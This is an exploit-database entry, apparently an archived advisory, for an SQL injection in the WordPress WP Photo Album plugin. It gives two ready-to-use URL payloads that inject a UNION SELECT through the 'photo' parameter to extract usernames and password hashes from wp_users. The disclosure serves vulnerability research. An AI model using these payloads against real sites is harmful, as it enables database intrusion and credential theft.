WordPress Plugin WP Photo Album - photo SQL Injection

2008-05-09T00:00:00
ID EXPLOITPACK:875DBE38FB7A1889F1F010DE979A85F7
Type exploitpack
Reporter THE_MILLER
Modified 2008-05-09T00:00:00

Description

WordPress Plugin WP Photo Album - photo SQL Injection

                                        
                                            source: https://www.securityfocus.com/bid/29148/info

The WordPress WP Photo Album (WPPA) plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/photos/?album=1&photo=-11111+union+select+concat(user_login,char(45),user_pass)+from+wp_users--
http://www.example.com/?page_id=[gallerypage]&album=10&photo=-16+union+select+concat(user_login,char(45),user_pass)+from+wp_users--